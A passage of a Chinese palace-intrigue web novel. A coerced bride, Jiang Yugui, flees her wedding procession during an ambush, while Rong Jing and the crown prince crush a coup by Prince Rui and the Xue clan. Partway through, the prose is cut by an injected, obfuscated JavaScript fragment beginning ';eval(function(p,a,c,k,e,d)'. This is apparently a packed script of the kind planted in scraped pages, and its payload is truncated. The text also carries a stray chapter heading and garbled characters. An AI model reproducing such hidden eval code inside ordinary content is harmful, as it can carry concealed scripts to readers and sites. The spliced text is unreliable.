锣鼓和喜乐也开始试探性的响起,一声声,穿透清晨的空气,敲在每个人的耳膜上,也敲在姜于归混沌却敏感的心上。 同一时刻,荣国公府。 容璟早已起身,他今日未着官服,而是一身与他气质略有些违和,却不得不穿的大红喜服,金冠玉带,衬得他面容愈发清隽,只是那眉眼间的沉静,将这身热烈的红色也压得透出几分凛冽。 他正在做最后的吩咐,长青与几个心腹肃立聆听。 “顾府至国公府,三条备选路线,明暗哨位务必确保无死角。宫中我们的人,盯紧永嘉公主离宫后的动向,以及......任何试图靠近陛下或太子的异常举动。青龙台今日全员戒备。” 他的声音不高,却字字清晰,带着不容置疑的力量:“今日,我不允许有任何意外。” “是!”众人齐声应道。 容璟望向窗外渐亮的天色,目光深远。 他知道,今日的盛京,看似一片喜庆祥和,实则暗流之下,杀机四伏。 薛家与睿王的垂死反扑,永嘉的怨毒,东宫的审视,甚至朝野无数双或好奇或嫉恨的眼睛......都聚焦于此。 而他容璟,不仅要赢,还要赢得漂亮,赢得绝对。 朱雀大街,沿途。 为了观看这场轰动全城的婚礼,百姓早已将街道两侧挤得水泄不通。 巡防营的兵士不得不提前布防,拉起警戒,维持秩序。 小贩的叫卖声,孩童的嬉闹声,人们的议论声交织在一起,沸反盈天。 “听说新娘子是顾大人的义女,以前还是个孤女,真是好福气啊!” “福气?你没听说吗?那位......好像有点不太清醒......” “嘘!慎言!容世子何等人物,既肯娶,必是真心喜爱。” “哼,谁知道呢?这婚事一波三折的,我看呐,未必太平......” 人群中,也有那么一些看似普通的百姓,眼神却格外锐利,不动声色地观察着四周,尤其是在一些关键的路口和建筑高处。 他们分散在热闹的人潮里,如同水滴入海,毫不显眼。 顾府,前院花厅。 宾客如云,冠盖云集。 太子李昭承虽未亲至,但也派了东宫属官送来厚礼。其他皇亲国戚,文武百官,或亲自前来,或遣使道贺,将顾府偌大的花厅挤得满满当当。 顾守正面色如常,周旋于宾客之间,八面玲珑,只是眼底深处,偶尔闪过一丝不易察觉的凝重。 空气里弥漫着酒香,脂粉香,以及一种属于盛大场合特有的,微妙的躁动与期待。 突然,门口一阵小小的骚动。 “永嘉公主到——永福公主到——” 唱名声传来,厅内喧嚣为之一静。众人目光齐刷刷投向门口。 只见永嘉公主李明月盛装华服,在一群宫人嬷嬷的簇拥下,昂首而入。 她脸上带着矜持而略显疏离的微笑,目光扫过全场,最终落在顾守正身上,微微颔首。 跟在她身后的永福公主李明珠,眼圈似乎还有些微红,神色郁郁,看向满厅喜庆红色时,眼中更是控制不住地流露出嫉恨与委屈。 她们的到来,瞬间让花厅的气氛变得有些微妙。 谁都知道这两位公主,尤其是永嘉,与容璟乃至东宫不睦。今日前来,是真心道贺,还是别有用心? 顾守正心中警铃大作,面上却堆起加倍的笑容,快步迎上:“不知两位公主殿下驾临,有失远迎,恕罪恕罪!” 永嘉语气平淡:“顾大人不必多礼,容世子大婚,本宫与皇妹特来道喜。听说新娘子是顾大人的义女,正在后宅梳妆?本宫倒想先去瞧瞧,沾沾喜气,顾大人不会不允吧?” 她这话说得客气,却带着不容拒绝的意味。 按礼,公主亲至后宅看新娘,算是极大的脸面,但也极易生出事端。 顾守正心念电转,笑容不变:“公主殿下厚爱,是小女的福分。只是后宅杂乱,恐冲撞了凤驾......” “无妨。” 永嘉打断他,已经迈步向内院方向走去:“本宫也是女子,有何冲撞?顾大人且忙,本宫自行前去便是。” 说罢,她身后几名低眉顺目却步履沉稳的嬷嬷立刻跟上。 永福咬了咬唇,也跟了上去。 顾守正看着她们的背影,眼中忧色一闪而过,对身边一个管事使了个眼色。那管事会意,悄无声息地退下,抄近路赶往后宅静萱阁方向。 静萱阁内,气氛陡然变得更加紧绷。 永嘉公主与永福公主驾到的消息传来,让原本就小心翼翼的仆妇们更加屏息凝神。严嬷嬷眉头微蹙,挡在了姜于归身前半步。 很快,脚步声与环佩叮当声由远及近。门帘被侍女打起,永嘉公主当先走了进来,永福紧随其后。 “哟,新娘子已经妆扮好了?真是我见犹怜。” 永嘉目光如探照灯般落在盛装的姜于归身上,语气听不出是赞是讽。 姜于归似乎被这突如其来的陌生人惊动,茫然地抬起了头。 她的视线与永嘉对上,那双空洞的眼睛里,映出永嘉华服璀璨,却冰冷的面容。 一瞬间,仿佛有电光石火在混沌的识海中炸开! 不是清晰的记忆,而是一种源自灵魂深处的,强烈的厌恶与恐惧! 这张脸......这张涂着鲜红口脂,带着居高临下冷笑的脸......她见过!在噩梦里!在那些令人窒息的猩红片段里! 姜于归的身体猛地一颤,放在膝上的手无意识地攥紧了嫁衣的裙摆,指节泛白。 永嘉将她的反应尽收眼底,唇角勾起一抹更深的,近乎恶意的弧度。 她走上前几步,竟直接伸手,用戴着长长护甲的手指,轻轻拂向姜于归凤冠下垂落的珍珠流苏。 她的手指几乎要碰到姜于归的脸颊:“这凤冠倒是别致,夜明珠......呵,容世子真是用心。” 安宁郡主身边的严嬷嬷上前一步,不卑不亢地挡了一下:“公主殿下!吉时将至,新娘子需静心等待,不宜过多打扰。” 永嘉动作一顿,瞥了严嬷嬷一眼,眼神冰冷:“本宫与顾小姐说几句话,沾沾喜气,你这奴才,也敢拦?” 永福此时也忍不住上前,盯着姜于归,眼圈更红,声音带着哭腔和愤恨:“姜于归!你别得意!你以为穿上这身嫁衣就能飞上枝头了?我告诉你,你不配!你不过是个来历不明的......” “永福!” 永嘉呵斥一声,却并非真心阻止,反而像是纵容她将情绪发泄出来:“今日是顾小姐的好日子,你说这些做什么。” 她们的对话,如同毒液般滴入寂静的空气。 姜于归怔怔地看着永福那张因嫉恨而扭曲的年轻脸庞,又看看永嘉那看似平静实则满是恶意的眼睛,耳边嗡嗡作响。 那些破碎的,充满恶意的词句 不配!来历不明,疯子...... 一字一句像一根根细针,扎进她本就脆弱不堪的精神壁垒。 混乱的恐惧,茫然的困惑,还有一丝被深深冒犯的本能不适,在她空茫的眼中交织,冲撞。 她开始微微摇头,嘴唇翕动,却发不出成句的声音,只有细碎的气音:“不......不是......我......” 她不知道自己在否认什么,只是那种被逼迫,被审视,被恶意包围的感觉,让她本能地想逃离。 永嘉看着她这副茫然又惊惶的模样,心中快意与计划得逞的兴奋交织。 她要的就是这个效果,让这个本就不清醒的新娘,在最重要的时刻,失态,崩溃! “顾小姐这是怎么了?可是身子不适?” 永嘉故作关切,却更近一步,声音压低,用只有近前几人能听到的音量,缓慢而清晰的说:“还是说......想起了什么不该想起的人?比如......那个早就死了的,慕容琛?” 慕容琛三个字,如同投入滚油的冷水,又像是一把钥匙,猛地捅开了姜于归记忆深处某个被重重锁死的,鲜血淋漓的盒子! 林晏!慕容林晏? 不是死了吗?容璟说......容璟说他死了......可是...... 剧烈的头痛猝然袭来!无数模糊的,破碎的画面在脑中疯狂闪现。 清溪镇的阳光,林晏温柔的笑脸,冰冷的牢狱,容璟平静的谎言,还有那令人绝望的死讯...... “啊——!” 姜于归终于发出了一声短促而凄厉的惊叫,猛地抱住了头,身体剧烈地颤抖起来,凤冠上的流苏疯狂摆动。 她眼中的空洞被一种极致的痛苦与混乱所取代,仿佛正承受着无形的酷刑。 静萱阁内顿时大乱!仆妇们惊呼出声,严嬷嬷脸色大变,试图上前安抚。 永嘉眼底掠过一丝得逞的冷笑,正要趁乱再说些什么,或者示意身后嬷嬷有所动作。 “吉时到——!请新娘子出阁——!” 就在这时,阁外远远传来了响亮的,拖着长腔的唱喏声,伴随着骤然热烈起来的锣鼓与喜乐,仿佛一股强大的外力,强行介入并打破了阁内濒临失控的局面。 几乎同时,一阵沉稳而急促的脚步声由远及近。门帘再次被掀开,出现在门口的,不是顾府仆役,而是两名身穿普通家丁服饰,但眼神锐利,气息沉凝的男子。他们是容璟提前布在静萱阁外围的心腹。 其中一人上前,对永嘉永福躬身行礼,语气恭敬却不容置疑:“两位公主殿下,前院来催,世子迎亲队伍已至府门外,请新娘子即刻出阁,莫误了吉时。顾大人特命小人等前来护送。” 他们挡在了永嘉公主与姜于归之间,形成了一个无形的屏障,也隔断了永嘉继续施压的可能。 永嘉脸上的笑容淡了下去,眼神冰冷地扫过这两个明显不是普通家丁的男子,又看了一眼在严嬷嬷和碧荷搀扶下依旧瑟瑟发抖,眼神混乱的姜于归,知道事不可为。 她今日的目的,搅乱姜于归的心神,制造混乱的引子,已经达到了。 “既然如此,本宫就不打扰了。” 永嘉恢复了她高贵的姿态,淡淡说道,转身款款离去。永福狠狠瞪了姜于归一眼,也只得跟上。 阁内,众人手忙脚乱地替姜于归整理略有凌乱的嫁衣和发髻。 她依旧在轻微颤抖,眼神涣散,嘴里无意识地喃喃着什么,对周围的忙碌恍若未闻。 刚才那一声慕容琛带来的冲击,如同在她本就脆弱的意识堤坝上,凿开了一道深深的裂痕,冰冷的记忆洪水正在不断侵蚀。 顾府大门外,喧嚣鼎沸。 八抬的鎏金喜轿华美异常,身着红衣的仪仗队整齐肃立。 容璟骑在一匹通体雪白,神骏非凡的骏马上,大红喜服衬得他面如冠玉,引来围观百姓阵阵喝彩。 只是他那双深邃的眼眸,平静地扫过顾府大门,扫过拥挤的人群,锐利如鹰,仿佛在搜寻着什么。 当看到永嘉与永福公主从府内走出时,他的目光几不可察地沉了沉。 不多时,盖着大红盖头,由严嬷嬷和碧荷一左一右搀扶着的姜于归,终于出现在了府门口。 她的步伐有些虚浮踉跄,透过盖头下方,能看到她嫁衣的裙摆微微晃动得厉害。 喜娘高声说着吉祥话,将系着红绸的花球一端塞到姜于归冰冷的手中,另一端递向容璟。 容璟翻身下马,走到姜于归面前。他并未立刻去接那花球,而是微微俯身,用只有两人能听到的声音,极轻,却极其清晰地唤了一声:“于归。” 盖头下的身影几不可察地一颤。 隔着厚重的盖头,她什么也看不见,却能清晰的感觉到那道落在自己身上的,沉静而具有绝对掌控力的目光。 “别怕。” 容璟伸手,握住了她冰凉颤抖,还攥着花球的手,他的掌心温热而稳定,带着不容抗拒的力量:“跟着我。” 说完,他才接过花球的另一端,牵着她,一步步走向喜轿。 这一幕落在众人眼中,是郎才女貌,是世子对新妇的体贴温柔。 只有极少数知情人,才能看出那温柔表象下,是何等精密的操控与无声的镇压。 姜于归如同提线木偶,被他牵着,送上喜轿。 轿帘落下,隔绝了外界大部分光线与喧嚣,只剩下轿内一片朦胧的红色与自身越来越急促的心跳,还有脑海中不断翻腾的混乱碎片。 轿身一沉,被稳稳抬起。锣鼓笙箫骤然奏响到最激昂处,迎亲队伍开始缓缓移动,向着荣国公府进发。 队伍最前方,容璟重新上马,目光平静地望向前方长长的朱雀大街。 他知道,真正的考验,从现在才开始。永嘉方才在静萱阁的小动作,只是开胃菜。薛家和睿王精心准备的大礼,想必就在这条披红挂彩,万人空巷的长街某处,等待着他。 他微微侧头,对紧跟在马侧的长青递了一个极其隐晦的眼神。 长青几不可察地点了下头,手指在腰间佩刀上轻轻一叩,一个无声的命令便已传递下去。 隐藏在沿途百姓中,屋顶上,商铺里的无数双眼睛,瞬间变得更加锐利。巡防营的兵士看似在维持秩序,队形却悄然发生了细微的变化,控制住了几个关键的路口和制高点。 喜乐喧天,人声鼎沸。 这场盛大婚礼最核心,也最危险的环节,迎亲归途,正式开始。 而在那顶华丽喜轿中,新娘苍白的手指,正死死抠住轿厢内壁,盖头之下,那双空洞许久的眼眸里,因为极致的混乱,恐惧,以及方才被强行触发的痛苦记忆,正一点点凝聚起一种微弱却真实的,属于姜于归本身的绝望光斑。 风暴,已然上路。 盛京,朱雀大街。 迎亲队伍如一条披红挂彩的长龙,在震耳欲聋的锣鼓喜乐与沿途百姓的喧嚣欢呼中,缓缓前行。 鎏金喜轿华美夺目,八名壮健轿夫步履沉稳,仿佛抬着的不是一位新娘,而是整个盛京今日目光的焦点与重量的汇聚。 轿内,光线被厚重的锦缎帘幕过滤,只剩下朦胧而压抑的暗红。 空气里弥漫着新漆,锦缎以及熏香混合的,令人头昏的气味。姜于归僵硬地坐在轿中,双手死死抠住身下光滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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几乎在浓烟升起的同时,从街道两侧的店铺,巷口,甚至看似混乱的人群中,猛地蹿出数十道矫健凶悍的身影! 他们衣着混杂,有的像普通百姓,有的像江湖人士,但出手狠辣,目标明确,一部分直扑迎亲仪仗队中看似护卫的头目,另一部分则悍不畏死地冲向队伍核心的喜轿! 刀光乍现,血花飞溅!喜庆的锣鼓声被金铁交击的刺耳声响和惨叫哀嚎彻底淹没。 这不是简单的捣乱或羞辱,这是一场精心策划,目标明确的武装袭击!旨在制造最大混乱,并在混乱中,夺取或毁灭那个坐在喜轿中的目标! 容璟在变故发生的第一时间就已勒住马头,他脸上并无多少惊惶,只有一片冰封的沉静,仿佛早已等待多时。 他厉声下令,声音穿透混乱:“结阵!护住花轿!长青,按计划行事!” 原本看似散乱的仪仗队和护卫瞬间展现出惊人的训练有素,迅速收缩,结成圆阵,将喜轿牢牢护在中央,与扑上来的袭击者战作一团。 与此同时,隐藏在人群和建筑中的容璟事先埋伏的人手也纷纷现身,从外围反包抄袭击者,更有尖锐的哨箭射向天空,显然是在呼叫更多支援。 场面彻底失控,变成了血腥的修罗场。 浓烟,刀光,鲜血,惨叫,还有四处奔逃碰撞的人群...... 喜轿之内。 外面的喊杀声,刀剑声,惨叫声如同潮水般涌来,撞击着轿壁,也撞击着姜于归刚刚复苏却无比脆弱的神经。每一次轿身剧烈的晃动,都让她心脏狂跳,几乎要冲出喉咙。 她猛的一把扯下了头上的盖头! 暗红色的轿内光线映入眼帘,还有轿帘缝隙外透进来的,混乱闪动的光影和偶尔飞溅上的,温热的,深色的液体...... 恐惧。无边无际的,足以吞噬一切的恐惧。 但在这恐惧的深处,那股新生的,冰冷的清醒却在疯狂呐喊:逃!离开这里!离开容璟!离开这场噩梦! 就在这时,“嗤啦——”一声锐响,一柄雪亮的钢刀竟猛地刺穿了轿厢一侧的木板,距离她不过尺余!冷冽的刀锋和外面狰狞的呼喝声,让姜于归的呼吸彻底停滞。 下一秒,轿帘被一只染血的手粗暴地扯开!一张陌生的,充满戾气的脸探了进来,眼中是毫不掩饰的杀意与贪婪。 “出来!” 那人低吼着,伸手就向她抓来! 极致的恐惧,化作了极致的本能。 姜于归不知道哪里来的力气,摘下头上的凤冠就朝着对方砸去,随后猛地向轿厢另一侧撞去!本就因刀刺而松动的木板被她撞开了一个缺口!她不顾一切地向外滚去! 重重摔在冰冷的青石板地面上,华丽的嫁衣被粗糙的地面摩擦,发出撕裂的声响。凤冠摘除,四散的长发披在肩头,她此刻头晕眼花,浑身疼痛,却挣扎着想要爬起来。 混乱的战场就在她身边展开。刀光剑影,血肉横飞。 她看到容璟骑在白马之上,正挥剑将一个企图靠近的袭击者斩落马下,他的侧脸在硝烟与血色中显得异常冷硬,眼神如寒冰利箭,扫过战场,也......扫过了刚刚滚落轿外,狼狈不堪的她。 四目相对。 那一瞬间,时间仿佛被拉长,凝固。 容璟的眼中,先是闪过一丝意料之中的凌厉,他看到了袭击,看到了混乱。 但随即,当他看清姜于归的眼神时,那凌厉迅速被一种更深的,几乎要冻结一切的愕然与震怒所取代! 那不是他熟悉的空洞,茫然或依赖的恐惧。 那双眼睛,虽然盛满了惊惶,却清凌凌的,映着血与火的光,里面是清晰的,属于姜于归的,清醒的决绝与......恨意? 还有更深的,是一种即将彻底脱离掌控的,让他心肺骤停的——逃离的决心! 她清醒了!就在这个时候!以这种方式! 姜于归也看着他,看着这个她在不清醒时候感激,依赖,恐惧,最后刻骨痛恨的男人。此刻,所有模糊的,被篡改的,痛苦的记忆在这一刻奔涌汇聚,指向一个清晰无比的念头:离开他!不惜一切代价! 没有犹豫,没有哭喊,甚至没有多余的表情。在容璟那混合着震惊与暴怒的目光锁定她的刹那,姜于归用尽全身力气,猛地从地上爬起,然后,转身,毫不犹豫地朝着与喜轿,与容璟,与这场血腥婚礼相反的方向,跌跌撞撞地冲入了更加混乱,更加危险的人群与硝烟之中! 她甚至没有回头再看一眼。 容璟瞳孔骤缩,心脏像是被一只无形的手狠狠抓住,骤然停止跳动了一瞬。 随即,滔天的怒火与一种近乎恐慌的暴戾瞬间席卷了他所有的理智! “姜于归——!!!” 他发出一声几乎不似人声的嘶吼,策马就想朝她消失的方向追去。 然而,现实没有给他这个机会。 “世子小心!” 长青的惊呼在身侧响起,同时,数名袭击者仿佛得到了某种指令,更加疯狂地扑向容璟,明显是为了拖住他! 不仅如此,远处,皇城方向,也隐约传来了更加沉闷而巨大的骚动声响,火光似乎也亮了起来。 睿王的后手,或者说真正的大礼,恐怕不止于此! 容璟猛地回神,额角青筋暴跳。他死死攥紧了缰绳,指甲几乎要掐进掌心,眼神阴鸷得吓人。 一边是趁机脱逃,已然清醒,即将彻底脱离掌控的姜于归,另一边是蓄谋已久,危及东宫乃至皇城安全的叛乱,以及眼前这场必须立刻镇压下去的袭击! 分身乏术! 极致的愤怒与一种被狠狠摆了一道,棋局失控的暴戾感,几乎要将他撕裂。 但他终究是容璟,是那个能在朝堂倾轧与血腥算计中步步为营的容潜玉。 电光石火之间,他做出了抉择。 “长青!” 他声音嘶哑,却带着斩钉截铁的冷酷:“你带一队人,去追!生要见人,死要见尸!其他人,随我肃清此地,然后立刻支援皇城!” 他必须优先处理眼前及皇城的危机,那是他的责任,也是他权力的根基。 至于姜于归......他相信长青的能力,也相信她一个刚清醒,手无寸铁,穿着显眼嫁衣的女子,在这全城戒严,各方势力混杂的混乱中,跑不远! 等他收拾完这帮不知死活的逆贼,再腾出手来...... 容璟眼中掠过一丝近乎残忍的幽光。 他会让姜于归知道,背叛他,逃离他,需要付出什么样的代价! 容璟不再看向姜于归消失的方向,仿佛将那抹刺眼的红色从视线和心头强行剜去。 手中长剑扬起,带着凛冽的杀意,重新投入眼前血腥的战斗,只是那剑势,比之前更加狠绝,更加暴戾,仿佛要将所有阻碍他,破坏他计划的人与事,统统斩成齑粉! 混乱在持续,厮杀在升级,喜轿孤零零地歪倒在路旁,轿身上满是刀痕与污迹。那曾经承载着容璟绝对掌控欲与完美仪式感的象征,此刻已成狼藉废墟的一部分。 而那个本该坐在轿中,被他牵引着完成圆满的新娘,已经决绝地奔向了未知的,充满危险的黑暗。 几乎在朱雀大街袭击发生的同时,皇城方向,更沉闷恐怖的巨响与喊杀声轰然爆发,火光映红了半边天际。 睿王与薛重筹谋的真正大礼,对准大靖心脏的搏命一击,开始了。 然而,这场看似迅猛的突袭,从始至终都在一张早已张开的巨网监视之下。 容璟与东宫联合,借由青龙台无孔不入的监察和部分被策反或控制的薛家旧部内线,对叛军的兵力,路线,内应甚至起事信号都了如指掌。 所谓的出其不意,实则是自投罗网。 以薛重带来的边军死士,仓促集结的叛军精锐,面对的是以逸待劳,甲胄鲜明,阵型严整的禁军主力,以及从各门迅速合围而来的京畿巡防营精锐。 战斗在皇城西侧内外爆发,激烈而短暂。叛军凭借一股悍勇之气和地形的熟悉,一度在门洞和附近宫墙制造了混乱。 薛重身先士卒,状若疯虎,手中长刀卷刃,身上插了数支羽箭仍咆哮冲杀,一度逼近内宫门百步。 但个人的勇武在绝对的力量与严密的组织面前,终究是螳臂当车。 他被特意调来的神弓手瞄准,数支破甲锥几乎同时贯穿他的胸腹,这位曾经的边关悍将最终如同一座血染的肉山,轰然倒在冰冷的宫砖上,双目圆睁,望着近在咫尺却遥不可及的宫阙,死不瞑目。 睿王李昭琰在几名心腹死士拼死护卫下,且战且退,试图按原计划从一处早已探明的,通往宫外废园的密道逃脱。 然而,当他带着满身血污和仅存的侥幸,推开密道出口的伪装饰板时,看到的不是接应的马车,而是早就守候在此,面无表情的青龙台暗桩,以及他们手中闪烁着寒光的弩箭。 他脸上最后一丝血色褪尽,手中沾血的佩剑“当啷——”落地,没有再做无谓的抵抗。 当他被反剪双手,押出地面,看到远处天际泛起的鱼肚白,以及周围森严林立的,属于皇帝和东宫的旗帜与全身披挂的甲士时,那张曾经俊美阴鸷,充满野心的脸上,只剩下了一片灰败的死寂与彻底的绝望。他知道,一切都完了。 荣国公府,前院正厅。 这里的气氛与外面的血腥厮杀截然不同,却同样紧绷欲裂。 容修远并未如寻常武将般顶盔掼甲冲杀出去,他穿着一身深紫常服,按剑立于厅中,面色沉肃如铁。 府中所有护卫,家丁皆已武装起来,扼守各处门户通道。 他并非不想立刻带兵平乱,事实上,在第一批异常动静传来时,他就已霍然起身,命令亲随备马调兵。 但几乎同时,一名持有东宫特殊信物的心腹悄然入府,带来了太子的口谕和容璟提前留下的安排,局势已在掌控,国公爷不必亲身涉险,稳住府邸,尤其是看好老夫人,便是大功。 容修远瞬间明白了,容璟早已布好全局,甚至算到了他的反应。 一股复杂的情绪涌上心头。 有被排除在核心计划外的淡淡不悦,有对儿子手段与胆识的惊悸,更有一种大势已去,自己或许真的老了的苍凉感。 他最终选择了遵从,不是服从儿子,而是服从东宫的命令和眼下最有利的判断。 他坐镇府中,耳中听着远处隐约传来的,越来越激烈的喊杀与轰鸣,脸色越来越凝重。 当皇城方向火光冲天时,他握着剑柄的手青筋暴起,但终究没有动。他在等待,等待一个结果,也在消化这个儿子已然超越,甚至架空自己的事实。 老夫人被强行请到了相对安全的内堂,由心腹嬷嬷和丫鬟围着,但她哪里坐得住?听到外面恐怖的动静,她吓得浑身发抖,老泪纵横,死死攥着佛珠,嘴里反复念叨着佛祖保佑,潜玉平安,容家无罪...... 当有婆子连滚爬爬进来,语无伦次地禀报:“街上杀了人了!新娘子好像不见了!世子爷在跟人拼命!” 老夫人“嗝——”了一声,差点背过气去,脸色惨白如纸,仿佛瞬间又老了十岁。 姜于归的死活她此刻已顾不上了,满心满眼都是容璟的安危,和容家会不会被这场突如其来的泼天大祸牵连,抄家灭族!这种极致的恐惧,比任何病痛都更摧残她的精神。 安宁郡主倒是安之若素。她甚至没去前厅,也没去内堂陪老夫人,依旧待在自己华丽舒适的院子里,命人紧闭门户,焚香抚琴。 外面的喊杀声隐约可闻,她却只是微微蹙了蹙描画精致的眉:“聒噪。” 贴身侍女吓得面无人色,她却轻笑一声,抿了一口温好的醇酒:“怕什么?天塌下来,自有高个子顶着。我那好儿子,还有他爹,可不是纸糊的。” 对于姜于归,她只懒懒问了一句:“那位新妇,是死是活?” 侍女战战兢兢的汇报着得知的最新情况,安宁郡主挑了挑眉,眼中并无悲悯,只有一丝了然和淡淡的讥诮:“果然是个没福气的。也好,省了许多麻烦。” 在她看来,这不过是一场略显喧闹的闹剧,那些个核心人物,比如皇帝,太子,容璟,睿王的博弈才值得稍稍关注,至于一个无足轻重,本就疯癫的女人的死活,甚至不如她琴弦上一缕杂音值得在意。 盛京的天光,在这场猝然爆发的血色婚礼与紧随其后的疯狂叛乱中,似乎都黯淡了几分。 数个时辰后,盛京的混乱在铁血镇压下逐渐平息,但空气中弥漫的硝烟味与血腥气,却久久不散,渗入砖缝,浸透人心。 皇城方向的火光在天明前已被扑灭,只余下宫墙上焦黑的灼痕,散落的残兵与凝固的血污,以及比往日森严十倍的守卫。 朱雀大街的狼藉正在被迅速清理,泼洒的清水混合着未干的血迹,在青石板上蜿蜒出诡异的暗红溪流,冲刷不去,仿佛一场盛大婚礼泣出的,无法抹除的血泪。 宫城,太极殿。 朝会以一种前所未有的凝重与肃杀提前举行。 殿内鸦雀无声,百官垂首,连呼吸都刻意放轻,仿佛怕惊动御座之上那尊濒临爆发的怒神。 龙椅上的皇帝,面色是病态的青白,眼神却锐利如刀,那是震怒,后怕与彻夜未眠的痕迹。 他的目光缓缓扫过下方跪着的,被卸去冠带,五花大绑的睿王李昭琰,他手中把玩着一枚断裂的箭簇,那是从薛重尸体上取下的。 永嘉公主未被带上殿,但已被圈禁于冷宫偏殿。 皇帝的声音不高,却字字砸在寂静的大殿上,带着帝王的疲惫与雷霆之怒:“李昭琰,朕的好儿子!薛重,朕的好舅兄!尔等狼子野心,犯上作乱,视君父如无物,视江山为私产!今日之变,实乃太祖开国以来未有之骇闻!你们真是......给了朕一份天大的贺礼啊!” 事实如山,证据确凿,连同从薛重身上搜出的,盖有睿王私印的调兵手令,以及青龙台诏狱中起获的与薛家往来密信,早已呈递御前。 皇帝没有给被卸去冠带,五花大绑跪在殿中的睿王李昭琰任何申辩的机会,直接宣布了裁决。 李昭琰,削去一切宗籍属籍,赐白绫自尽。 薛重,虽已伏诛,仍判枭首示众,传首九边,夷三族。 薛贵妃,教子无方,勾结外戚,祸乱宫闱,褫夺贵妃封号及一切金册宝印,废为庶人,打入冷宫最深处,非死不得出。 所有查明参与叛乱,附逆的文武官员,宫中内应,薛家余党及其亲眷,一律按谋逆大罪论处,从严从速。 青龙台与刑部,大理寺即日起三司联动,日夜不休,全城乃至全国范围内追捕清查,宁可错抓,不可漏网!家产抄没,男丁处斩,女眷没入官婢。 皇帝更当殿下旨,严厉申斥了近年来与薛家过往甚密,有朋党之嫌,举荐失察的一干勋贵朝臣,勒令其闭门思过,听候查处,并借此机会,对朝局进行新一轮的清洗与调整。 一场仓促而疯狂的叛乱,如同一场自毁的烟火,在点燃的瞬间就注定了熄灭的结局。 但它燃尽后的灰烬,却带着炽热的余温与致命的毒素,覆盖了大半个朝堂,带来的是彻骨的寒凉,人人自危的恐惧,以及随之而来的,必将持续许久的,腥风血雨般的权力洗牌与势力更迭。 寿安堂内,药气浓郁。 老夫人是真的病倒了,惊吓过度,忧惧攻心。 哪怕再不愿,但是容璟执意,她也只能强撑着精神,准备接受孙媳叩拜,幻想家族添丁,门楣更固,今日却只能躺在病榻上,脸色蜡黄如金纸,握着佛珠的手抖得如同风中枯叶。 心腹嬷嬷颤声向她禀报着外面天翻地覆的消息,睿王谋逆,血溅宫门,薛家夷族,新娘子在乱军中失踪,甚至或许已遭叛军毒手......每听一句,老夫人的呼吸就急促一分,胸口如同压了巨石。 “冤孽......真是冤孽啊!” 她老泪纵横,浑浊的泪水划过深刻的皱纹,不知是哭天家骨肉相残的惨剧,还是哭自家被卷入这等泼天大祸的惊惶,抑或是哭那个她虽不喜,但终究是孙子执意要娶,承载着某种家族期盼的孙媳的悲惨下场。 她紧紧抓住嬷嬷的手,指甲几乎掐进对方肉里:“潜玉呢?我的潜玉怎么样?他可受伤了?有没有被牵连?” 此时此刻,容璟的安危与容家是否会被这场叛乱余波波及,才是她最致命的恐惧。 当嬷嬷吞吞吐吐地告知,世子不仅安然无恙,还在平乱中表现出色,于朱雀大街遇袭时临危不乱指挥若定。 更因提前预警及后续协助禁军快速平定宫变,而深得皇帝嘉许,甚至被陛下于偏殿亲□□勉,隐隐有接手部分因睿王倒台,薛家覆灭而空悬的权柄与势力范围时,老夫人那浑浊的眼中才骤然迸发出一丝极其复杂的光芒。 那是劫后余生的巨大庆幸,是对容璟手段与运道的骇然与一丝隐秘的骄傲,随即,又被更深的,属于后宅妇人精于计算的现实感所取代。 至于姜于归...... 一个本就来历不明,神智不清,如今更可能已在叛军刀下香消玉殒的女人,在家族可能因祸得福,更进一步的泼天机遇面前,显得如此无足轻重,甚至...... 老夫人心底那不敢宣之于口的角落,竟缓缓生出一丝诡异的释然。 这样也好,没了这个引得容璟行事偏执,屡屡与家族长辈冲突的祸水,没了这场始终于不祥的婚事的牵连,潜玉或许能真正冷静下来,将来......总能娶一个更门当户对,更温婉贤淑,更能助益容氏百年基业的贵女。 108. 第 108 章 这念头让她心头的重负似乎轻了一点点,尽管伴随着一丝冰冷的,对生命消逝的漠然。 荣国公府,书房。 当外面的喊杀声彻底平息,当皇宫方向代表平乱的特定焰火信号升空,当皇帝处置逆党的旨意,初步内容通过特殊渠道传来时,荣国公府内的紧张气氛才稍稍缓解,但随即又被另一种更微妙的情绪取代。 容修远在前厅接到详细战报和封赏旨意的抄件,容璟因平乱有功,具体封赏需朝议后正式下达,但圣眷优渥已明。 他看着旨意中对自己儿子容璟不吝的赞扬。 忠勇果毅,临危不乱,洞悉先机,功在社稷...... 再想想他自己昨夜被迫困守府中,无所作为的处境,心情复杂难言。 他屏退左右,独自在厅中踱步良久。 最终,他只是长长地,无声的叹了口气。 那叹息里有如释重负,有对家族免于劫难的庆幸,但更深处的,是一种清晰的认知,这个家,乃至朝堂上的一部分未来,已经不可避免地要由那个他越来越难以掌控的儿子来主导了。 他想起那个失踪的姜氏,眉头皱得更紧。 这门亲事带来的麻烦,似乎随着她的死亡而终结,这或许......是唯一值得安慰的地方? 他甚至开始不受控制地思量,经此一役,潜玉声望权势更上层楼,又是丧偶之身,正是谋取一门强有力政治联姻,为容氏百年基业再添稳固盟友的绝佳时机...... 然而,在这座府邸最深处,那间气氛压抑得如同冰窖的书房里,真正的风暴,才刚刚开始。 容璟的书房,气氛压抑得如同暴风雨前的死寂。 容璟已换下那身染血的大红喜服,穿着一身玄色常服,面色苍白,眼下有淡淡的青影,但眼神却亮得骇人,里面翻涌着未散的杀意与一种冰冷的,近乎偏执的焦灼。 长青跪在地上,身上带着伤,风尘仆仆,脸色极为难看。 容璟的声音平静得异常,却让书房内的温度骤降。 “说。” 长青声音干涩:“属下带人循着踪迹追查,夫人......她逃离朱雀大街后,似乎慌不择路,一路往城西方向。我们发现了她被勾破的嫁衣碎片,还有散落的珠花......在靠近西水门附近的暗巷,有打斗痕迹和血迹,血迹不止一人,但有一滩血量颇大,形制......与夫人所穿软缎鞋底花纹吻合。” 容璟放在书案上的手,几不可察的痉挛了一下。 